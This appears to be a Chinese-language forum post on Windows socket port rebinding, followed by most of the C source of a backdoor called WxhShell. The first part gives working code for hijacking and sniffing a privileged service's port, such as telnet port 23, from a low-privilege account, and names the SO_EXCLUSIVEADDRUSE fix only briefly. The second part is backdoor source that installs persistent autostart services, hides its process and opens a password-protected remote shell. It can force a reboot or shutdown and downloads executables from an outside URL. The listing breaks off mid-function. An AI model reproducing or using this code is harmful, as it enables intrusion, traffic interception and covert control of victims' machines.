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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: %L*EB;nK  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); qvSYrnpn  
:Q>e54]'&  
  saddr.sin_family = AF_INET; p$9Aadi]  
yy=hCjQ)  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); $ mE* =  
U%s@np  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ];hqI O#nM  
TLVsTM8 P  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 t&?{+?p: 9  
/]3[|  
  这意味着什么?意味着可以进行如下的攻击: QR#>Ws  
2I [zV7 @t  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ` = O  
wQUl!s7M;  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &&9 |;0 <  
NOQ^HEi  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ,M.}Qak^  
o& FOp'  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  rL1yq|]I  
HvG %##  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 u_$4xNmQ  
@6yc^DAA  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;6P>S4`w  
hg" i;I  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ]"Uzn  
XLt/$Caf  
  #include qisvGHo  
  #include AJ7^'p9Y  
  #include @!fUp b  
  #include    &]o-ZZX  
  DWORD WINAPI ClientThread(LPVOID lpParam);   XQ}J4J~Vm  
  int main() rgzra"u)  
  { NplyvjQN;  
  WORD wVersionRequested; &M}X$k I  
  DWORD ret; ?'TK~,dG/  
  WSADATA wsaData; isL zgN%  
  BOOL val; q7Hf7^a  
  SOCKADDR_IN saddr; _x<NGIz  
  SOCKADDR_IN scaddr; g77M5(ME  
  int err; sQ#e 2  
  SOCKET s; hz4?ku  
  SOCKET sc; s6 g"uF>k  
  int caddsize; 9)1Ye  
  HANDLE mt; j+gxn_E  
  DWORD tid;   =|z:wlOs  
  wVersionRequested = MAKEWORD( 2, 2 ); ; zJb("n  
  err = WSAStartup( wVersionRequested, &wsaData ); 71R,R,  
  if ( err != 0 ) { AhN3~/u%7  
  printf("error!WSAStartup failed!\n"); V'j+)!w5  
  return -1; d-_V*rYU  
  } X?'cl]1?  
  saddr.sin_family = AF_INET; +_7a/3kh  
   f"FFgQMkv  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ad: qOm  
.g*N +T6O  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); X>[i<ei  
  saddr.sin_port = htons(23); (0NffM1  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) mp8GHV  
  { 88osWo6rG  
  printf("error!socket failed!\n"); 60!%^O =  
  return -1; _eiqs  
  } i7.8H*z'  
  val = TRUE; tRdf:F\X  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 .U0Gm_c0  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) X!Z)V)@J8  
  { {oqbV#/&  
  printf("error!setsockopt failed!\n"); %42a>piev  
  return -1; %LMpErZO  
  } G(a5@9F  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; RhE~Rwbx  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 tr<f ii 3<  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 `HRL .uX  
e%JIqKS  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) eT".psRiC  
  { K|Sq_/#+U  
  ret=GetLastError(); *,$5EN  
  printf("error!bind failed!\n"); >8(i;)(3  
  return -1; 4]U=Y>\Sr  
  } 754MQK|g  
  listen(s,2); /9R0}4i7  
  while(1) M(I%y0  
  { 5)%ahmY  
  caddsize = sizeof(scaddr); $v@$C4  
  //接受连接请求 juOStTq<  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !Ap5Uwd  
  if(sc!=INVALID_SOCKET) xx`YBn~"  
  { *lSu=dk+  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); M 5sk&>  
  if(mt==NULL) h~k<"  
  { fmz"Zg 9=  
  printf("Thread Creat Failed!\n"); 3@V?L:J  
  break; A7X a  
  } $yASWz  
  } f=l/Fp}4UH  
  CloseHandle(mt); +^Xf:r` G  
  } Qfn:5B]tI  
  closesocket(s); =-si| 1Z  
  WSACleanup(); Nbpn"*L,  
  return 0; srv4kodj  
  }   G JRl{Y  
  DWORD WINAPI ClientThread(LPVOID lpParam) _X4Y1zh  
  { S $p>sItO  
  SOCKET ss = (SOCKET)lpParam; 1jg* DQ7L  
  SOCKET sc; 4,sE{%vb  
  unsigned char buf[4096]; cz9J&Le>  
  SOCKADDR_IN saddr; Km(i}:6"  
  long num; ST?{H SCz  
  DWORD val; "] V\Y!  
  DWORD ret; A2 + %  
  //如果是隐藏端口应用的话,可以在此处加一些判断 M~2Us{ `  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   kg^0%-F  
  saddr.sin_family = AF_INET; h vYRAQR:  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); .2E/(VM  
  saddr.sin_port = htons(23); 0zH-g  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s>J5.Z7"'j  
  { -MTk9<qnT  
  printf("error!socket failed!\n"); F$a s#.7FF  
  return -1; C.S BJ  
  } MI `qzC*%  
  val = 100; w6V/Xp][U  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) nc;e NB  
  { C1D:Xi-  
  ret = GetLastError(); y47N(;vy  
  return -1;  rexf#W)  
  } _Xd"'cXw  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (.:*GUg  
  { A]|w1nq  
  ret = GetLastError(); ircF3P>a?  
  return -1; a}%f +`z  
  } sq2:yt  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) \\dUp>1=  
  { `7=$I~`  
  printf("error!socket connect failed!\n"); R 0RxcB tG  
  closesocket(sc); ]<^2B?}  
  closesocket(ss); <r#FI8P;X  
  return -1; hBX*02p   
  } M3jUnp&  
  while(1) Q6HJ+H-Ub  
  { ^K<3_D>1>  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 "/zgh  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 b{<?E };%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 YCDH0M  
  num = recv(ss,buf,4096,0); ZHNL ~=r}  
  if(num>0) |P>7C  
  send(sc,buf,num,0); , MXU]{  
  else if(num==0) T<B}Z11R  
  break; 4QA~@pBX^{  
  num = recv(sc,buf,4096,0); !_ W/p`Tc  
  if(num>0) s/7Z.\  
  send(ss,buf,num,0); =%m{|HQ`  
  else if(num==0) J#$U<`j*G  
  break; ^bv^&V&IB  
  } 3jAr"xc  
  closesocket(ss); O t)}:oG  
  closesocket(sc); X84T F~2Y  
  return 0 ; =cEsv&i  
  } ~M}{rl.n=  
$P{`-Y }a  
"-=fi 'D  
========================================================== }:2##<"\t  
^m#tWb)f  
下边附上一个代码,,WXhSHELL T [SK>z  
)h}IZSm  
========================================================== *S}@DoXS  
 T01Iu  
#include "stdafx.h" OIPY,cj~  
x-[ItJ% l  
#include <stdio.h> hS,&Nj+  
#include <string.h> 1 sHjM %  
#include <windows.h> mXz*Gi  
#include <winsock2.h> $9`#p/V  
#include <winsvc.h> uHKEt[PS$  
#include <urlmon.h> ..JRtuM-v  
U823q-x  
#pragma comment (lib, "Ws2_32.lib") M8~3 0L  
#pragma comment (lib, "urlmon.lib") #s{^fUN6  
9vV==A#  
#define MAX_USER   100 // 最大客户端连接数 3&y-xZu]  
#define BUF_SOCK   200 // sock buffer 4 . 7X*1  
#define KEY_BUFF   255 // 输入 buffer F@?-^ E@  
hVF^ "$  
#define REBOOT     0   // 重启 :IZAdlz[@  
#define SHUTDOWN   1   // 关机 S"&Gutu3o  
>`AK'K8{M  
#define DEF_PORT   5000 // 监听端口 PuJ3#H T  
8%K{lg"  
#define REG_LEN     16   // 注册表键长度 -Rpra0o. C  
#define SVC_LEN     80   // NT服务名长度 b=5w>*  
Y!L-5|G  
// 从dll定义API t1hQ0B  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); nB`|VYmOP1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %&6Q Uv^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D|ceZ <9x  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _^& q,S  
N-K/jY  
// wxhshell配置信息 >=0]7k;  
struct WSCFG { T_D3WHp  
  int ws_port;         // 监听端口 _Q1p_sdg  
  char ws_passstr[REG_LEN]; // 口令 $E@n;0P  
  int ws_autoins;       // 安装标记, 1=yes 0=no &x1A {j_  
  char ws_regname[REG_LEN]; // 注册表键名 c-k3<|H`  
  char ws_svcname[REG_LEN]; // 服务名 GNJ /|9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 M 2hZ'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 NF&Sv  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~LS</_N  
int ws_downexe;       // 下载执行标记, 1=yes 0=no iE''>Z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" RB %+|@c  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 t1w]L  
+;~N; BT  
}; -zFJ)!/?  
6Hnez@d  
// default Wxhshell configuration ?z.?(xZ 6  
struct WSCFG wscfg={DEF_PORT, !`e`4y*N  
    "xuhuanlingzhe", 5!?5S$>  
    1, |#_p0yPy  
    "Wxhshell", w x]?D%l  
    "Wxhshell", ;<M}ZL@m  
            "WxhShell Service", Ikdj?"+O  
    "Wrsky Windows CmdShell Service", Z+v,o1  
    "Please Input Your Password: ", gk|>E[.  
  1, oJ4HvrUO  
  "http://www.wrsky.com/wxhshell.exe", KM;H '~PZi  
  "Wxhshell.exe" ,1{qZ(l1  
    }; a]r+np]vTy  
(}39f  
// 消息定义模块 4J5zSTw  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; J3mLjYy  
char *msg_ws_prompt="\n\r? for help\n\r#>"; J]U_A/f  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <mFDC?j  
char *msg_ws_ext="\n\rExit."; m+!.H\  
char *msg_ws_end="\n\rQuit."; HF FG4'  
char *msg_ws_boot="\n\rReboot..."; DT`HS/~fH  
char *msg_ws_poff="\n\rShutdown..."; *V kaFQZ$,  
char *msg_ws_down="\n\rSave to "; M*0^<e~]F  
q? ">  
char *msg_ws_err="\n\rErr!"; q5_zsUR=  
char *msg_ws_ok="\n\rOK!"; :XhF:c[.:  
I#2$CSJ  
char ExeFile[MAX_PATH]; qj;i03 +@  
int nUser = 0; 486\a  
HANDLE handles[MAX_USER]; X\m\yv}}  
int OsIsNt; /F;2wT;  
T#qf&Q Z  
SERVICE_STATUS       serviceStatus; , Wd=!if  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; K? o p3}f?  
ee? d ?:L  
// 函数声明 fM ID}S  
int Install(void); x:Q\pZ  
int Uninstall(void); HXU#Ux  
int DownloadFile(char *sURL, SOCKET wsh); 8lM=v> Xc  
int Boot(int flag); i6WPf:#wr  
void HideProc(void); rp4D_80q  
int GetOsVer(void); R0qZxoo  
int Wxhshell(SOCKET wsl); C$[iduS  
void TalkWithClient(void *cs); $0 .6No_|  
int CmdShell(SOCKET sock); SEM?vQ 0"}  
int StartFromService(void); HTYyX(ya  
int StartWxhshell(LPSTR lpCmdLine); h,$CJdDY]  
q~}oU5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Tv"T+!Z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); UDI\o1Rbp  
$_F_%m"\  
// 数据结构和表定义 j;`pAN('  
SERVICE_TABLE_ENTRY DispatchTable[] = 5@xR`g-  
{ oT\K P  
{wscfg.ws_svcname, NTServiceMain}, Ga 5s9wC  
{NULL, NULL} cjL)M=pIS  
}; a_c(7bQ  
pL,XHR@Iv  
// 自我安装 fx|d"VF[  
int Install(void) t}k:wzZ@  
{ b@CjnAZ  
  char svExeFile[MAX_PATH]; f,yl'2{  
  HKEY key; dE"_gwtX  
  strcpy(svExeFile,ExeFile); uaO.7QSwN  
w8X5kk   
// 如果是win9x系统,修改注册表设为自启动 y-26\eY^P  
if(!OsIsNt) { Bug.>ln1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G{[w+ObX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xmnBG4,f  
  RegCloseKey(key); F:m6Mf7L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D=^&?@k<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *1EmK.-'u  
  RegCloseKey(key); {j$2=0Cec  
  return 0; i975)_X(  
    } y!1X3X,V  
  } ?7NSp2aq2A  
} UK,bfLPt~  
else { .L^*9Y0)  
WkiT,(i  
// 如果是NT以上系统,安装为系统服务 9;LjM ~Ct  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _fS\p|W(E  
if (schSCManager!=0) /}6I3n  
{ gfK_g)'2U  
  SC_HANDLE schService = CreateService +\Vw:~e  
  ( :j`f%Vg~x  
  schSCManager, h"ZIh= j@  
  wscfg.ws_svcname, `R2Iw I&  
  wscfg.ws_svcdisp, >s5}pkAv|e  
  SERVICE_ALL_ACCESS, =J1V?x=l@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , FXo.f<U  
  SERVICE_AUTO_START, z@VL?A(3  
  SERVICE_ERROR_NORMAL, x[lIib1s  
  svExeFile, "9P @bA  
  NULL, ^5s7mls  
  NULL, lOcFF0'  
  NULL, 8?82 p  
  NULL, ; +\h$  
  NULL b|-)p+ba  
  ); ;-`NT` #2  
  if (schService!=0) %j^QK>%  
  { @K!JE w\  
  CloseServiceHandle(schService); @ovaOX  
  CloseServiceHandle(schSCManager);  7V5c`:"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); eHvUgDt  
  strcat(svExeFile,wscfg.ws_svcname); d2eXN3"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { XB!qPh .  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;)h?P.]  
  RegCloseKey(key); CtMqE+j^  
  return 0; h F+aL  
    } {v0r'+`  
  } We$ n  
  CloseServiceHandle(schSCManager); :PBFFLe  
} xwo *kFg  
} wKi#5k2  
iN8[^,2H|  
return 1; ZY8.p  
} O^!ds  
SLEOc OAmD  
// 自我卸载 zV}:~;w  
int Uninstall(void) ?<jWEz=  
{ w=fWW^>bP  
  HKEY key; <B>qE a_I  
>bWpj8Kv  
if(!OsIsNt) { 4AEw[(t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ez32k[eV!  
  RegDeleteValue(key,wscfg.ws_regname); \bT0\ (Js\  
  RegCloseKey(key); }*bp4<|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wL~A L  
  RegDeleteValue(key,wscfg.ws_regname); Ml c_w19C9  
  RegCloseKey(key); a0)w/A&  
  return 0; FiMM-c|  
  } _LZ(HTX~  
} l| uiC%T  
} 0&)6mO  
else { Wi=zu[[qc  
K/B$1+O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); lF64g  
if (schSCManager!=0) sDBSc:5+e  
{ ~8&->?{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); MH)V=xU|)  
  if (schService!=0) Fy\q>(v.  
  { n@tt.n!{l  
  if(DeleteService(schService)!=0) { vWmp ?m  
  CloseServiceHandle(schService); *g*"bi*  
  CloseServiceHandle(schSCManager); pNd`fV#jX  
  return 0; gpyio1V>  
  } (<_kq;XtN0  
  CloseServiceHandle(schService); ^f>c_[fR  
  } ,gk'8]  
  CloseServiceHandle(schSCManager); .f0qgmIyL  
} hpXW t Q  
} 9IXy96]]6  
8nBYP+t,e  
return 1; A-1K TD  
} z&0[F`U  
0p[k7W u  
// 从指定url下载文件 ,sSo\%  
int DownloadFile(char *sURL, SOCKET wsh) tJu:N'=Dy  
{ m7NWgXJ  
  HRESULT hr; > }f!. i  
char seps[]= "/"; o]tfvGvU*  
char *token; ,{G\-(\  
char *file; 43h06X`  
char myURL[MAX_PATH]; _R(ZvsOZ  
char myFILE[MAX_PATH]; [2xu`HT02  
Y[)mHs2  
strcpy(myURL,sURL); nHeJ20  
  token=strtok(myURL,seps); xO:h[  
  while(token!=NULL) ?8kFAf~  
  { XK\nOHLS  
    file=token; !pU^?Hy=  
  token=strtok(NULL,seps); l[_antokn  
  } >Z*b0j  
ZDaHR-%Y  
GetCurrentDirectory(MAX_PATH,myFILE); d)U(XiK'  
strcat(myFILE, "\\"); | eCVq(R  
strcat(myFILE, file); UTE6U6  
  send(wsh,myFILE,strlen(myFILE),0); 4jDi3MMU9  
send(wsh,"...",3,0); yw:%)b{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); XM5)|D  
  if(hr==S_OK) (PH7nW7  
return 0; W=EcbH9/.)  
else 5Q%)|(U'  
return 1; U"|1@W#  
=D0d+b6  
} M 2| k.  
b=S"o )>  
// 系统电源模块 zQ:nL*X'Z"  
int Boot(int flag) &a'mG=(K_c  
{ !BW!!/U  
  HANDLE hToken; qF^P\cD  
  TOKEN_PRIVILEGES tkp; HOu$14g  
h #gI1(uL  
  if(OsIsNt) { +C;;4s)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [4C_iaE  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2k=|p@V n~  
    tkp.PrivilegeCount = 1; %pWJ2J@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }R}M>^(R4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6oQ7u90z*  
if(flag==REBOOT) { y`$qcEw  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'LG\]h>+)  
  return 0; sF)$<[w  
} IAkQR0fcN  
else { 0TV16 --  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) TD floDxA  
  return 0; `qd5+~c  
} m Qx1co  
  } .<%q9Jy#  
  else { 7hx^U90K  
if(flag==REBOOT) { F$4=7Njv  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) h&i(Kfv*  
  return 0; q1YNp`]0i8  
} X&aQR[X  
else { FTEC=j$ln  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /g*_dH)=  
  return 0; Ux?G:LLz  
} D1deh=  
} x&u@!# d]  
7>@0nHec  
return 1; 20 $Tky_  
} ik?IC$*n3i  
.e5@9G.jb  
// win9x进程隐藏模块 B!`.,3  
void HideProc(void) 65@GXn[W_  
{ >Giw\|:f(  
jxW/"Q   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); xS/=9l/G  
  if ( hKernel != NULL ) X`&Us  
  { V6ECL6n  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); q2|z \  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); JcP<@bb>B  
    FreeLibrary(hKernel); HL[V}m  
  } g3vbskY|  
SZ4y\I  
return; <l,e6K  
} c|m?f  
tMU10=d  
// 获取操作系统版本 He4q-\ht  
int GetOsVer(void) S9[Up}`  
{ ?5Z-w  
  OSVERSIONINFO winfo; HW_2!t_R  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _{^F8  
  GetVersionEx(&winfo); bg9_$laDi  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) dUn]aS  
  return 1; [Z'4YXS  
  else 2>x[_  
  return 0; /^{Q(R(X<  
} N0D5N(kH%  
3- d"-'k  
// 客户端句柄模块 R(y`dQy<K  
int Wxhshell(SOCKET wsl) nx`W!|g$`  
{ @DM NL sQ  
  SOCKET wsh; t':*~b{V@7  
  struct sockaddr_in client; 70*yx?TV  
  DWORD myID; &SZAe/3+  
{X pjm6a7  
  while(nUser<MAX_USER) \(f82kv  
{ ]Zay9jD}c-  
  int nSize=sizeof(client); {az LtTh  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); OB(~zUe.R  
  if(wsh==INVALID_SOCKET) return 1; DVs$3RL  
?|2m0~%V=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m^0*k|9+G  
if(handles[nUser]==0) ?~}8^~3  
  closesocket(wsh); 3\<(!yY8  
else \n#l+R23  
  nUser++; *"/BD=INv}  
  } 9<!??'@f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); m`XaY J  
\q-["W34  
  return 0; fB; o3!y  
} J{EK}'  
iu+H+_  
// 关闭 socket ONcS,oHW  
void CloseIt(SOCKET wsh) -Vg0J6x  
{ kmfz.:j{  
closesocket(wsh); =>TXo@rVN  
nUser--; sh<JB`^$(?  
ExitThread(0); 8p~[8}  
} K}S=f\Q]  
? zic1i  
// 客户端请求句柄 y(K:,CI  
void TalkWithClient(void *cs) b$Bq#vdg:  
{ 5oD%~Fk l  
P!~&Ei  
  SOCKET wsh=(SOCKET)cs; 2)^T[zHe  
  char pwd[SVC_LEN]; giddM2'  
  char cmd[KEY_BUFF]; OJcI0(G  
char chr[1]; g;3<oI/P  
int i,j; ^&c|z35F  
q*J-ii  
  while (nUser < MAX_USER) { kA4kQ}q  
'_=XfTF  
if(wscfg.ws_passstr) { EX3;|z@5;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'aZAWY d  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 97 !VH> MX  
  //ZeroMemory(pwd,KEY_BUFF); 5i3 nz=~o  
      i=0; 9EZh~tdV[  
  while(i<SVC_LEN) { )i.\q   
uUpOa+t  
  // 设置超时 ~65lDFY/  
  fd_set FdRead; ]7dal [i  
  struct timeval TimeOut; \l;H !y[  
  FD_ZERO(&FdRead); D>q?My  
  FD_SET(wsh,&FdRead); [;INVUwG^  
  TimeOut.tv_sec=8; MES|iB  
  TimeOut.tv_usec=0; I1Gk^wO  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0jefV*3qpB  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); '-X913eG!  
j7&0ckN&G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MdNV3:[\  
  pwd=chr[0]; BA0.B0+"  
  if(chr[0]==0xd || chr[0]==0xa) { V :4($  
  pwd=0; 5HbPS%^.  
  break; Vuo 8[h>  
  } {[B`q  
  i++; A832z`  
    } pK2n'4 C  
_UeIzdV9  
  // 如果是非法用户,关闭 socket 0l%|2}a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); k{$Mlt?&-  
} w~9=6|_  
{I_I$x_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <~qhy{hRn  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9_S>G$9D  
|a Ht6F  
while(1) { W r;?t!  
!;C *Wsp}  
  ZeroMemory(cmd,KEY_BUFF); 2KmPZ&r  
o[eIwGxZ  
      // 自动支持客户端 telnet标准   j]_"MMwk$<  
  j=0; %8GY`T:^  
  while(j<KEY_BUFF) { s%qK<U4@;Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ut^^,w{o>  
  cmd[j]=chr[0]; ViT$]Nv  
  if(chr[0]==0xa || chr[0]==0xd) { VlFDMw.4.+  
  cmd[j]=0; AJH-V 6  
  break; {YgB?kt5  
  } =i)k@w_(x  
  j++; 7^:0?Q  
    } 3~!PJI1  
R'r^v  
  // 下载文件 lFL iW  
  if(strstr(cmd,"http://")) { gobqS+c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z66@@?`  
  if(DownloadFile(cmd,wsh)) S}*%l)vfR  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (Sg52zv  
  else ^E8eW  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~\m|pxcj  
  } NLxsxomj  
  else { Q:B:  
@v,qfT*k7  
    switch(cmd[0]) { MoP 0qNk  
  sj@'C@oK  
  // 帮助 V<!E9/4rS  
  case '?': { /\9X0a2h|E  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l;g8_uyjv7  
    break; .<`Rq'  
  } f&ym'S  
  // 安装 !>+Na~eN  
  case 'i': { V+l>wMeo  
    if(Install()) Et+N4w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .ZrQ{~t  
    else ^dR5fAS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &H{KXX"X  
    break; S|%f<zAtJ  
    } "syf@[tz7  
  // 卸载 /\KB*dX  
  case 'r': { Gx GZxf*(  
    if(Uninstall()) %h%^i   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s^$zO p9  
    else lLT;V2=osX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xCV3HnZ  
    break; =ITMAC\  
    } <zK9J?ZQW>  
  // 显示 wxhshell 所在路径 ,9f$a n  
  case 'p': { @BN cIJk9  
    char svExeFile[MAX_PATH]; |f~p3KCfV  
    strcpy(svExeFile,"\n\r"); 'I_\ELb_  
      strcat(svExeFile,ExeFile); {^bs }($J  
        send(wsh,svExeFile,strlen(svExeFile),0); +'x`rk  
    break; H{P"$zj`l  
    } M+ gYKPP  
  // 重启 'qhA4W9  
  case 'b': { }cE,&n  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /tf}8d  
    if(Boot(REBOOT)) ,g$N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ET`;TfqM  
    else { xXu/CGzG  
    closesocket(wsh); >i4UU0m  
    ExitThread(0); 4PEJ}B W  
    } 7oDr`=q1]r  
    break; e}e\*BL  
    } HzT"{N9  
  // 关机 !58-3F%P  
  case 'd': { :r[`bqC;\*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *~|xj,md  
